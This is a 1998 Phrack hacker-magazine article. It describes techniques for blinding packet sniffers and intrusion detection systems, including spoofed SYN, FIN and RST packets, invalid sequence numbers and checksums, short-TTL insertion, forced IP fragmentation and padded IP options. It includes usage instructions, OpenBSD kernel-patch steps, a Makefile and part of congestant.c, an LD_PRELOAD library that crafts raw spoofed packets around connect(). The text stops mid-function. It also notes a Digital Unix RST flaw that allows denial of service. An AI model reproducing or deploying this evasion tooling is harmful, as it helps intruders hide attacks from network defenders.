1541 lines
49 KiB
Plaintext
1541 lines
49 KiB
Plaintext
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12
|
|
|
|
|
|
-------------------------[ Defeating Sniffers and Intrusion Detection Systems
|
|
|
|
|
|
--------[ horizon <jmcdonal@unf.edu>
|
|
|
|
|
|
----[ Overview
|
|
|
|
The purpose of this article is to demonstrate some techniques that can be used
|
|
to defeat sniffers and intrusion detection systems. This article focuses
|
|
mainly on confusing your average "hacker" sniffer, with some rough coverage of
|
|
Intrusion Detection Systems (IDS). However, the methods and code present in
|
|
this article should be a good starting point for getting your packets past ID
|
|
systems. For an intense examination of attack techniques against IDS, check
|
|
out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp.
|
|
|
|
There are a large number of effective techniques other than those that are
|
|
implemented in this article. I have chosen a few generic techniques that
|
|
hopefully can be easily expanded into more targeted and complex attacks. After
|
|
implementing these attacks, I have gone through and attempted to correlate
|
|
them to the attacks described in the NAI paper, where appropriate.
|
|
|
|
The root cause of the flaws discussed in this article is that most sniffers
|
|
and intrusion detection systems do not have as robust of a TCP/IP
|
|
implementation as the machines that are actually communicating on the network.
|
|
Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI,
|
|
or SOCK_PACKET. The sniffer receives the entire datalink level frame, and
|
|
gets no contextual clues from the kernel as to how that frame will be
|
|
interpreted. Thus, the sniffer has the job of interpreting the entire packet
|
|
and guessing how the kernel of the receiving machine is going to process it.
|
|
Luckily, 95% of the time, the packet is going to be sane, and the kernel
|
|
TCP/IP stack is going to behave rather predictably. It is the other 5% of the
|
|
time that we will be focusing on.
|
|
|
|
This article is divided into three sections: an overview of the techniques
|
|
employed, a description of the implementation and usage, and the code. Where
|
|
possible, the code has been implemented in a somewhat portable format: a
|
|
shared library that wraps around connect(), which you can use LD_PRELOAD to
|
|
"install" into your normal client programs. This shared library uses raw
|
|
sockets to create TCP packets, which should work on most unixes. However, some
|
|
of the attacks described are too complex to implement with raw sockets, so
|
|
simple OpenBSD kernel patches are supplied. I am working on complementary
|
|
kernel patches for Linux, which will be placed on the rhino9 web site when
|
|
they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/
|
|
|
|
|
|
----[ Section 1. The Tricks
|
|
|
|
The first set of tricks are solely designed to fool most sniffers, and will
|
|
most likely have no effect on a decent ID system. The second set of tricks
|
|
should be advanced enough to start to have an impact on the effectiveness of
|
|
an intrusion detection system.
|
|
|
|
Sniffer Specific Attacks
|
|
------------------------
|
|
|
|
1. Sniffer Design - One Host Design
|
|
|
|
The first technique is extremely simple, and takes advantage of the design of
|
|
many sniffers. Several hacker sniffers are designed to follow one connection,
|
|
and ignore everything else until that connection is closed or reaches some
|
|
internal time out. Sniffers designed in this fashion have a very low profile,
|
|
as far as memory usage and CPU time. However, they obviously miss a great deal
|
|
of the data that can be obtained. This gives us an easy way of preventing our
|
|
packets from being captured: before our connection, we send a spoofed SYN
|
|
packet from a non-existent host to the same port that we are attempting to
|
|
connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it
|
|
will set up its internal state to monitor all packets related to that
|
|
connection. Then, when we make our connection, the sniffer ignores our SYN
|
|
because it is watching the fake host. When the host later times out, our
|
|
connection will not be logged because our initial SYN packet has long been
|
|
sent.
|
|
|
|
|
|
2. Sniffer Design - IP options
|
|
|
|
The next technique depends on uninformed coding practices within sniffers.
|
|
If you look at the code for some of the hacker sniffers, namely ones based-off
|
|
of the original linsniffer, you will see that they have a structure that looks
|
|
like this:
|
|
|
|
struct etherpacket
|
|
{
|
|
etherheader eh;
|
|
ipheader ip;
|
|
tcpheader tcp;
|
|
char data[8192];
|
|
};
|
|
|
|
The sniffer will read a packet off of the datalink interface, and then slam it
|
|
into that structure so it can analyze it easily. This should work fine most
|
|
of the time. However, this approach makes a lot of assumptions: it assumes
|
|
that the size of the IP header is 20 bytes, and it also assumes that the size
|
|
of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of
|
|
options, then the sniffer is going to look inside your IP options for the TCP
|
|
header, and completely misinterpret your packet. If the sniffer handles your
|
|
IP header correctly, but incorrectly handles the TCP header, that doesn't buy
|
|
you quite as much. In that situation, you get an extra 40 bytes of data that
|
|
the sniffer will log. I have implemented mandatory IP options in the OpenBSD
|
|
kernel such that it is manageable by a sysctl.
|
|
|
|
|
|
3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers
|
|
|
|
This technique takes advantage of the fact that your typical sniffer is not
|
|
going to keep track of the specific details of the ongoing connection. In a
|
|
TCP connection, sequence numbers are used as a control mechanism for
|
|
determining how much data has been sent, and the correct order for the data
|
|
that has been sent. Most sniffers do not keep track of the sequence numbers
|
|
in an ongoing TCP connection. This allows us to insert packets into the data
|
|
stream that the kernel will disregard, but the sniffer will interpret as valid.
|
|
The first technique we will use based on this is spoofing FIN and RST packets.
|
|
FIN and RST are control flags inside the TCP packets, a FIN indicating the
|
|
initiation of a shutdown sequence for one side of a connection, and an RST
|
|
indicating that a connection should be immediately torn down. If we send a
|
|
packet with a FIN or RST, with a sequence number that is far off of the current
|
|
sequence number expected by the kernel, then the kernel will disregard it.
|
|
However, the sniffer will likely regard this as a legitimate connection close
|
|
request or connection reset, and cease logging.
|
|
|
|
It is interesting to note that certain implementations of TCP stacks do not
|
|
check the sequence numbers properly upon receipt of an RST. This obviously
|
|
provides a large potential for a denial of service attack. Specifically, I
|
|
have noticed that Digital Unix 4.0d will tear down connections without
|
|
checking the sequence numbers on RST packets.
|
|
|
|
|
|
4. Insertion - Data Spoofing - Invalid Sequence Numbers
|
|
|
|
This technique is a variation of the previous technique, which takes advantage
|
|
of the fact that a typical sniffer will not follow the sequence numbers of a
|
|
TCP connection. A lot of sniffers have a certain data capture length, such
|
|
that they will stop logging a connection after that amount of data has been
|
|
captured. If we send a large amount of data after the connection initiation,
|
|
with completely wrong sequence numbers, our packets will be dropped by the
|
|
kernel. However, the sniffer will potentially log all of that data as valid
|
|
information. This is roughly an implementation of the "tcp-7" attack mentioned
|
|
in the NAI paper.
|
|
|
|
|
|
IDS / Sniffer Attacks:
|
|
---------------------
|
|
|
|
The above techniques work suprisingly well for most sniffers, but they are not
|
|
going to have much of an impact on most IDS. The next six techniques are a
|
|
bit more complicated, but represent good starting points for getting past the
|
|
more complex network monitors.
|
|
|
|
|
|
5. Evasion - IP Fragmentation
|
|
|
|
IP fragmentation allows packets to be split over multiple datagrams in order
|
|
to fit packets within the maximum transmission unit of the physical network
|
|
interface. Typically, TCP is aware of the mtu, and doesn't send packets that
|
|
need to be fragmented at an IP level. We can use this to our advantage to try
|
|
to confuse sniffers and IDS. There are several potential attacks involving
|
|
fragmentation, but we will only cover a simple one. We can send a TCP packet
|
|
split over several IP datagrams such that the first 8 bytes of the TCP header
|
|
are in a single packet, and the rest of the data is sent in 32 byte packets.
|
|
This actually buys us a lot in our ability to fool a network analysis tool.
|
|
First of all, the sniffer/IDS will have to be capable of doing fragment
|
|
reassembly. Second of all, it will have to be capable of dealing with
|
|
fragmented TCP headers. It turns out that this simple technique is more than
|
|
sufficient to get your packets past most datalink level network monitors.
|
|
This an another attack that I chose to implement as a sysctl in the OpenBSD
|
|
kernel.
|
|
|
|
This technique is very powerful in it's ability to get past most sniffers
|
|
completely. However, it requires some experimentation because you have to
|
|
make sure that your packets will get past all of the filters between you and
|
|
the target. Certain packet filters wisely drop fragmented packets that look
|
|
like they are going to rewrite the UDP/TCP header, or that look like they are
|
|
unduly small. The implementation in this article provides a decent deal of
|
|
control over the size of the fragments that your machine will output. This
|
|
will allow you to implement the "frag-1" and "frag-2" attacks described in the
|
|
NAI paper.
|
|
|
|
|
|
6. Desynchronization - Post Connection SYN
|
|
|
|
If we are attempting to fool an intelligent sniffer, or an ID system, then we
|
|
can be pretty certain that it will keep track of the TCP sequence numbers. For
|
|
this technique, we will attempt to desynchronize the sniffer/IDS from the
|
|
actual sequence numbers that the kernel is honoring. We will implement this
|
|
attack by sending a post connection SYN packet in our data stream, which will
|
|
have divergent sequence numbers, but otherwise meet all of the necessary
|
|
criteria to be accepted by our target host. However, the target host will
|
|
ignore this SYN packet, because it references an already established
|
|
connection. The intent of this attack is to get the sniffer/IDS to
|
|
resynchronize its notion of the sequence numbers to the new SYN packet. It
|
|
will then ignore any data that is a legitimate part of the original stream,
|
|
because it will be awaiting a different sequence number. If we succeed in
|
|
resynchronizing the IDS with a SYN packet, we can then send an RST packet with
|
|
the new sequence number and close down its notion of the connection. This
|
|
roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.
|
|
|
|
|
|
7. Desynchronization - Pre Connection SYN
|
|
|
|
Another attack we perform which is along this theme is to send an initial SYN
|
|
before the real connection, with an invalid TCP checksum. If the sniffer is
|
|
smart enough to ignore subsequent SYNs in a connection, but not smart enough
|
|
to check the TCP checksum, then this attack will synchronize the sniffer/IDS
|
|
to a bogus sequence number before the real connection occurs. This attack
|
|
calls bind to get the kernel to assign a local port to the socket before
|
|
calling connect.
|
|
|
|
|
|
8. Insertion - FIN and RST Spoofing - TCP checksum validation
|
|
|
|
This technique is a variation of the FIN/RST spoofing technique mentioned
|
|
above. However, this time we will attempt to send FIN and RST packets that
|
|
should legitimately close the connection, with one notable exception: the TCP
|
|
checksum will be invalid. These packets will be immediately dropped by the
|
|
kernel, but potentially honored by the IDS/sniffer. This attack requires
|
|
kernel support in order to determine the correct sequence numbers to use on
|
|
the packet. This is similar to the "insert-2" attack in the NAI paper.
|
|
|
|
|
|
9. Insertion - Invalid Data - TCP checksum validation
|
|
|
|
This technique is a variation of the previous data insertion attack, with the
|
|
exception that we will be inserting data with the correct sequence numbers,
|
|
but incorrect TCP checksums. This will serve to confuse and desynchronize
|
|
sniffers and ID by feeding it a lot of data that will not be honored by the
|
|
participating kernels. This attack requires kernel support to get the correct
|
|
sequence numbers for the outgoing packets. This attack is also similar to the
|
|
"insert-2" attack described in the NAI paper.
|
|
|
|
|
|
10. Insertion - FIN and RST Spoofing - Short TTL
|
|
|
|
If the IDS or sniffer is sitting on the network such that it is one or more
|
|
hops away from the host it is monitoring, then we can do a simple attack,
|
|
utilizing the TTL field of the IP packet. For this attack, we determine the
|
|
lowest TTL that can be used to reach the target host, and then subtract one.
|
|
This allows us to send packets that will not reach the target host, but that
|
|
have the potential of reaching the IDS or sniffer. In this attack, we send a
|
|
couple of FIN packets, and a couple of RST packets.
|
|
|
|
|
|
11. Insertion - Data Spoofing - Short TTL
|
|
|
|
For our final attack, we will send 8k of data with the correct sequence
|
|
numbers and TCP checksums. However, the TTL will be one hop too short to reach
|
|
our target host.
|
|
|
|
Summary
|
|
-------
|
|
|
|
All of these attacks work in concert to confuse sniffers and IDS. Here is a
|
|
breakdown of the order in which we perform them:
|
|
|
|
Attack 1 - One Host Sniffer Design.
|
|
FAKEHOST -> TARGET SYN
|
|
Attack 7 - Pre-connect Desynchronization Attempt.
|
|
REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
|
|
Kernel Activity
|
|
REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
|
|
Attack 6 - Post-connect Desynchronization Attempt.
|
|
REALHOST -> TARGET SYN (Arbitrary Seq Number X)
|
|
REALHOST -> TARGET SYN (Seq Number X+1)
|
|
Attack 4 - Data Spoofing - Invalid Sequence Numbers
|
|
REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
|
|
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
|
|
REALHOST -> TARGET FIN (Seq Number X+2+8192)
|
|
REALHOST -> TARGET FIN (Seq Number X+3+8192)
|
|
REALHOST -> TARGET RST (Seq Number X+4+8192)
|
|
REALHOST -> TARGET RST (Seq Number X+5+8192)
|
|
Attack 11 - Data Spoofing - TTL
|
|
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
|
|
Attack 10 - FIN/RST Spoofing - TTL
|
|
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
|
|
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
|
|
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
|
|
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
|
|
Attack 9 - Data Spoofing - Checksum
|
|
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
|
|
Attack 8 - FIN/RST Spoofing - Checksum
|
|
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
|
|
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
|
|
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
|
|
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)
|
|
|
|
The attacks with an asterisk require kernel support to determine the correct
|
|
sequence numbers. Arguably, this could be done without kernel support,
|
|
utilizing a datalink level sniffer, but it would make the code significantly
|
|
more complex, because it would have to reassemble fragments, and do several
|
|
validation checks in order to follow the real connection. The user can choose
|
|
which of these attacks he/she would like to perform, and the sequence numbers
|
|
will adjust themselves accordingly.
|
|
|
|
|
|
----[ Section 2 - Implementation and Usage
|
|
|
|
My primary goal when implementing these techniques was to keep the changes
|
|
necessary to normal system usage as slight as possible. I had to divide the
|
|
techniques into two categories: attacks that can be performed from user
|
|
context, and attacks that have to be augmented by the kernel in some fashion.
|
|
My secondary goal was to make the userland set of attacks reasonably portable
|
|
to other Unix environments, besides OpenBSD and Linux.
|
|
|
|
The userland attacks are implemented using shared library redirection, an
|
|
extremely useful technique borrowed from halflife's P51-08 article. The first
|
|
program listed below, congestant.c, is a shared library that the user requests
|
|
the loader to link first. This is done with the LD_PRELOAD environment
|
|
variable on several unixes. For more information about this technique, refer
|
|
to the original article by halflife.
|
|
|
|
The shared library defines the connect symbol, thus pre-empting the normal
|
|
connect function from libc (or libsocket) during the loading phase of program
|
|
execution. Thus, you should be able to use these techniques with most any
|
|
client program that utilizes normal BSD socket functionality. OpenBSD does
|
|
not let us do shared library redirection (when you attempt to dlsym the old
|
|
symbol out of libc, it gives you a pointer to the function you had pre-loaded).
|
|
However, this is not a problem because we can just call the connect() syscall
|
|
directly.
|
|
|
|
This shared library has some definite drawbacks, but you get what you pay for.
|
|
It will not work correctly with programs that do non-blocking connect calls,
|
|
or RAW or datalink level access. Furthermore, it is designed for use on TCP
|
|
sockets, and without kernel support to determine the type of a socket, it will
|
|
attempt the TCP attacks on UDP connections. This support is currently only
|
|
implemented under OpenBSD. However, this isn't that big of a drawback because
|
|
it just sends a few packets that get ignored. Another drawback to the shared
|
|
library is that it picks a sequence number out of the blue to represent the
|
|
"wrong" sequence number. Due to this fact, there is a very small possibility
|
|
that the shared library will pick a legitimate sequence number, and not
|
|
desynchronize the stream. This, however, is extremely unlikely.
|
|
|
|
A Makefile accompanies the shared library. Edit it to fit your host, and then
|
|
go into the source file and make it point to your copy of libc.so, and you
|
|
should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian
|
|
Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6.
|
|
You can use the library like this:
|
|
|
|
# export LD_PRELOAD=./congestion.so
|
|
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
|
|
# telnet www.blah.com
|
|
|
|
The library will "wrap" around any connects in the programs you run from that
|
|
point on, and provide you some protection behind the scenes. You can control
|
|
the program by defining the CONGCONF environment variable. You give it a
|
|
comma delimited list of attacks, which break out like this:
|
|
|
|
DEBUG: Show debugging information
|
|
OH: Do the One Host Design Attack
|
|
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
|
|
SS: Spoof a SYN after the connection in a desynchronization attempt.
|
|
DS: Insert 8k of data with bad sequence numbers.
|
|
FS: Spoof FIN packets with bad sequence numbers.
|
|
RS: Spoof RST packets with bad sequence numbers.
|
|
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
|
|
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
|
|
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
|
|
DT: Insert 8k of data with short TTLs. (needs kernel support)
|
|
FT: Spoof FIN packets with short TTLs. (needs kernel support)
|
|
RT: Spoof RST packets with short TTLs. (needs kernel support)
|
|
|
|
Kernel Support
|
|
--------------
|
|
|
|
OpenBSD kernel patches are provided to facilitate several of the techniques
|
|
described above. These patches have been made against the 2.4 source
|
|
distribution. I have added three sysctl variables to the kernel, and one new
|
|
system call. The three sysctl variables are:
|
|
|
|
net.inet.ip.fraghackhead (integer)
|
|
net.inet.ip.fraghackbody (integer)
|
|
net.inet.ip.optionshack (integer)
|
|
|
|
The new system call is getsockinfo(), and it is system call number 242.
|
|
|
|
The three sysctl's can be used to modify the characteristics of every outgoing
|
|
IP packet coming from the machine. The fraghackhead variable specifies a new
|
|
mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every
|
|
outgoing datagram, unless fraghackbody is also defined. In that case, the mtu
|
|
for the first fragment of a packet is read from fraghackhead, and the mtu for
|
|
every consecutive fragment is read from fraghackbody. This allows you to
|
|
force your machine into fragmenting all of its traffic, to any size that you
|
|
specify. The reason it is divided into two variables is so that you can have
|
|
the first fragment contain the entire TCP/UDP header, and have the following
|
|
fragments be 8 or 16 bytes. This way, you can get your fragmented packets past
|
|
certain filtering routers that block any sort of potential header rewriting.
|
|
The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP
|
|
options on every outgoing packet.
|
|
|
|
I implemented these controls such that they do not have any effect on packets
|
|
sent through raw sockets. The implication of this is that our attacking
|
|
packets will not be fragmented or contain IP options.
|
|
|
|
Using these sysctl's is pretty simple: for the fraghack variables, you specify
|
|
a number of bytes (or 0 to turn them off), and for the optionshack, you either
|
|
set it to 0 or 1. Here is an example use:
|
|
|
|
# sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header
|
|
# sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header
|
|
# sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag
|
|
|
|
It is very important to note that you should be careful with the fraghack
|
|
options. When you specify extreme fragmentation, you quickly eat up the
|
|
memory that the kernel has available for storing packet headers. If memory
|
|
usage is too high, you will notice sendto() returning a no buffer space error.
|
|
If you stick to programs like telnet or ssh, that use small packets, then you
|
|
should be fine with 28 or 28/36. However, if you use programs that use large
|
|
packets like ftp or rcp, then you should bump fraghackbody up to a higher
|
|
number, such as 200.
|
|
|
|
The system call, getsockinfo, is needed by the userland program to determine if
|
|
a socket is a TCP socket, and to query the kernel for the next sequence number
|
|
that it expects to send on the next outgoing packet, as well as the next
|
|
sequence number it expects to receive from it's peer. This allows the
|
|
userland program to implement attacks based on having a correct sequence
|
|
number, but some other flaw in the packet such as a short TTL or bad TCP
|
|
checksum.
|
|
|
|
|
|
Kernel Patch Installation
|
|
-------------------------
|
|
|
|
Here are the steps I use to install the kernel patches.
|
|
|
|
Disclaimer: I am not an experienced kernel programmer, so don't be too upset
|
|
if your box gets a little flaky. The testing I've done on my own machines has
|
|
gone well, but be aware that you really are screwing with critical stuff by
|
|
installing these patches. You may suffer performance hits, or other such
|
|
unpleasentries. But hey, you can't have any fun if you don't take any risks. :>
|
|
|
|
Step 1. Apply the netinet.patch to /usr/src/sys/netinet/
|
|
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
|
|
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
|
|
Step 4. Apply kern.patch to /usr/src/sys/kern/
|
|
Step 5. cd /usr/src/sys/kern; make
|
|
Step 6. Apply sys.patch to /usr/src/sys/sys/
|
|
Step 7. cd into your kernel build directory
|
|
(/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make.
|
|
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>
|
|
|
|
|
|
----[ The Code
|
|
<++> congestant/Makefile
|
|
# OpenBSD
|
|
LDPRE=-Bshareable
|
|
LDPOST=
|
|
OPTS=-DKERNELSUPPORT
|
|
|
|
# Linux
|
|
#LDPRE=-Bshareable
|
|
#LDPOST=-ldl
|
|
#OPTS=
|
|
|
|
# Solaris
|
|
#LDPRE=-G
|
|
#LDPOST=-ldl
|
|
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42
|
|
|
|
congestant.so: congestant.o
|
|
ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}
|
|
|
|
congestant.o: congestant.c
|
|
gcc ${OPTS} -fPIC -c congestant.c
|
|
|
|
clean:
|
|
rm -f congestant.o congestant.so
|
|
<-->
|
|
<++> congestant/congestant.c
|
|
/*
|
|
* congestant.c - demonstration of sniffer/ID defeating techniques
|
|
*
|
|
* by horizon <jmcdonal@unf.edu>
|
|
* special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
|
|
*
|
|
* openbsd doesn't let us do shared lib redirection, so we implement the
|
|
* connect system call directly. Also, the kernel support for certain attacks
|
|
* is only implemented in openbsd. When I finish the linux support, it will
|
|
* be available at http://www.rhino9.ml.org
|
|
*
|
|
* This whole thing is a conditionally compiling nightmare. :>
|
|
* This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
|
|
* Solaris 2.6, Debian Linux, and the glibc Debian Linux
|
|
*/
|
|
|
|
/* The path to our libc. (libsocket under Solaris) */
|
|
/* You don't need this if you are running OpenBSD */
|
|
/* #define LIB_PATH "/usr/lib/libsocket.so" */
|
|
#define LIB_PATH "/lib/libc-2.0.7.so"
|
|
/* #define LIB_PATH "/usr/lib/libc.so" */
|
|
|
|
/* The source of our initial spoofed SYN in the One Host Design attack */
|
|
/* This has to be some host that will survive any outbound packet filters */
|
|
#define FAKEHOST "42.42.42.42"
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/uio.h>
|
|
#include <sys/stat.h>
|
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
#include <dlfcn.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/time.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/syscall.h>
|
|
#if __linux__
|
|
#include <endian.h>
|
|
#endif
|
|
#include <errno.h>
|
|
|
|
struct cong_config
|
|
{
|
|
int one_host_attack;
|
|
int fin_seq;
|
|
int rst_seq;
|
|
int syn_seq;
|
|
int data_seq;
|
|
int data_chk;
|
|
int fin_chk;
|
|
int rst_chk;
|
|
int syn_chk;
|
|
int data_ttl;
|
|
int fin_ttl;
|
|
int rst_ttl;
|
|
int ttl;
|
|
} cong_config;
|
|
|
|
int cong_init=0;
|
|
int cong_debug=0;
|
|
long cong_ttl_cache=0;
|
|
int cong_ttl=0;
|
|
|
|
/* If this is not openbsd, then we will use the connect symbol from libc */
|
|
/* otherwise, we will use syscall(SYS_connect, ...) */
|
|
|
|
#ifndef __OpenBSD__
|
|
|
|
#if __GLIBC__ == 2
|
|
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
|
|
#else
|
|
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
|
|
#endif
|
|
|
|
#endif /* not openbsd */
|
|
|
|
#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));
|
|
|
|
/* define our own headers so its easier to port. use cong_ to avoid any
|
|
* potential symbol name collisions */
|
|
|
|
struct cong_ip_header
|
|
{
|
|
unsigned char ip_hl:4, /* header length */
|
|
ip_v:4; /* version */
|
|
unsigned char ip_tos; /* type of service */
|
|
unsigned short ip_len; /* total length */
|
|
unsigned short ip_id; /* identification */
|
|
unsigned short ip_off; /* fragment offset field */
|
|
#define IP_RF 0x8000 /* reserved fragment flag */
|
|
#define IP_DF 0x4000 /* dont fragment flag */
|
|
#define IP_MF 0x2000 /* more fragments flag */
|
|
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
|
|
unsigned char ip_ttl; /* time to live */
|
|
unsigned char ip_p; /* protocol */
|
|
unsigned short ip_sum; /* checksum */
|
|
unsigned long ip_src, ip_dst; /* source and dest address */
|
|
};
|
|
|
|
struct cong_icmp_header /* this is really an echo */
|
|
{
|
|
unsigned char icmp_type;
|
|
unsigned char icmp_code;
|
|
unsigned short icmp_checksum;
|
|
unsigned short icmp_id;
|
|
unsigned short icmp_seq;
|
|
unsigned long icmp_timestamp;
|
|
};
|
|
|
|
struct cong_tcp_header
|
|
{
|
|
unsigned short th_sport; /* source port */
|
|
unsigned short th_dport; /* destination port */
|
|
unsigned int th_seq; /* sequence number */
|
|
unsigned int th_ack; /* acknowledgement number */
|
|
#if BYTE_ORDER == LITTLE_ENDIAN
|
|
unsigned char th_x2:4, /* (unused) */
|
|
th_off:4; /* data offset */
|
|
#endif
|
|
#if BYTE_ORDER == BIG_ENDIAN
|
|
unsigned char th_off:4, /* data offset */
|
|
th_x2:4; /* (unused) */
|
|
#endif
|
|
unsigned char th_flags;
|
|
#define TH_FIN 0x01
|
|
#define TH_SYN 0x02
|
|
#define TH_RST 0x04
|
|
#define TH_PUSH 0x08
|
|
#define TH_ACK 0x10
|
|
#define TH_URG 0x20
|
|
unsigned short th_win; /* window */
|
|
unsigned short th_sum; /* checksum */
|
|
unsigned short th_urp; /* urgent pointer */
|
|
};
|
|
|
|
struct cong_pseudo_header
|
|
{
|
|
unsigned long saddr, daddr;
|
|
char mbz;
|
|
char ptcl;
|
|
unsigned short tcpl;
|
|
};
|
|
|
|
int cong_checksum(unsigned short* data, int length)
|
|
{
|
|
register int nleft=length;
|
|
register unsigned short *w = data;
|
|
register int sum=0;
|
|
unsigned short answer=0;
|
|
|
|
while (nleft>1)
|
|
{
|
|
sum+=*w++;
|
|
nleft-=2;
|
|
}
|
|
|
|
if (nleft==1)
|
|
{
|
|
*(unsigned char *)(&answer) = *(unsigned char *)w;
|
|
sum+=answer;
|
|
}
|
|
|
|
sum=(sum>>16) + (sum & 0xffff);
|
|
sum +=(sum>>16);
|
|
answer=~sum;
|
|
|
|
return answer;
|
|
}
|
|
|
|
#define PHLEN (sizeof (struct cong_pseudo_header))
|
|
#define IHLEN (sizeof (struct cong_ip_header))
|
|
#define ICMPLEN (sizeof (struct cong_icmp_header))
|
|
#define THLEN (sizeof (struct cong_tcp_header))
|
|
|
|
/* Utility routine for the ttl attack. Sends an icmp echo */
|
|
|
|
void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
|
|
{
|
|
struct sockaddr_in sa;
|
|
int sock,packet_len;
|
|
char *pkt;
|
|
struct cong_ip_header *ip;
|
|
struct cong_icmp_header *icmp;
|
|
|
|
int on=1;
|
|
|
|
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|
{
|
|
perror("socket");
|
|
exit(1);
|
|
}
|
|
|
|
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
|
|
{
|
|
perror("setsockopt: IP_HDRINCL");
|
|
exit(1);
|
|
}
|
|
|
|
bzero(&sa,sizeof(struct sockaddr_in));
|
|
sa.sin_addr.s_addr = dest;
|
|
sa.sin_family = AF_INET;
|
|
|
|
pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));
|
|
|
|
ip=(struct cong_ip_header *)pkt;
|
|
icmp=(struct cong_icmp_header *)(pkt+IHLEN);
|
|
|
|
ip->ip_v = 4;
|
|
ip->ip_hl = IHLEN >>2;
|
|
ip->ip_tos = 0;
|
|
ip->ip_len = htons(IHLEN+ICMPLEN);
|
|
ip->ip_id = htons(getpid() & 0xFFFF);
|
|
ip->ip_off = 0;
|
|
ip->ip_ttl = ttl;
|
|
ip->ip_p = IPPROTO_ICMP ;//ICMP
|
|
ip->ip_sum = 0;
|
|
ip->ip_src = source;
|
|
ip->ip_dst = dest;
|
|
icmp->icmp_type=8;
|
|
icmp->icmp_seq=htons(seq);
|
|
icmp->icmp_id=htons(id);
|
|
icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);
|
|
|
|
if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
|
|
{
|
|
perror("sendto");
|
|
}
|
|
|
|
free(pkt);
|
|
close(sock);
|
|
}
|
|
|
|
/* Our main worker routine. sends a TCP packet */
|
|
|
|
void cong_send_tcp(long source, long dest,short int sport, short int dport,
|
|
long seq, long ack, int flags, char *data, int dlen,
|
|
int cksum, int ttl)
|
|
{
|
|
struct sockaddr_in sa;
|
|
int sock,packet_len;
|
|
char *pkt,*phtcp;
|
|
struct cong_pseudo_header *ph;
|
|
struct cong_ip_header *ip;
|
|
struct cong_tcp_header *tcp;
|
|
|
|
int on=1;
|
|
|
|
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|
{
|
|
perror("socket");
|
|
exit(1);
|
|
}
|
|
|
|
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
|
|
{
|
|
perror("setsockopt: IP_HDRINCL");
|
|
exit(1);
|
|
}
|
|
|
|
bzero(&sa,sizeof(struct sockaddr_in));
|
|
sa.sin_addr.s_addr = dest;
|
|
sa.sin_family = AF_INET;
|
|
sa.sin_port = dport;
|
|
|
|
phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
|
|
pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));
|
|
|
|
ph=(struct cong_pseudo_header *)phtcp;
|
|
tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
|
|
ip=(struct cong_ip_header *)pkt;
|
|
|
|
ph->saddr=source;
|
|
ph->daddr=dest;
|
|
ph->mbz=0;
|
|
ph->ptcl=IPPROTO_TCP;
|
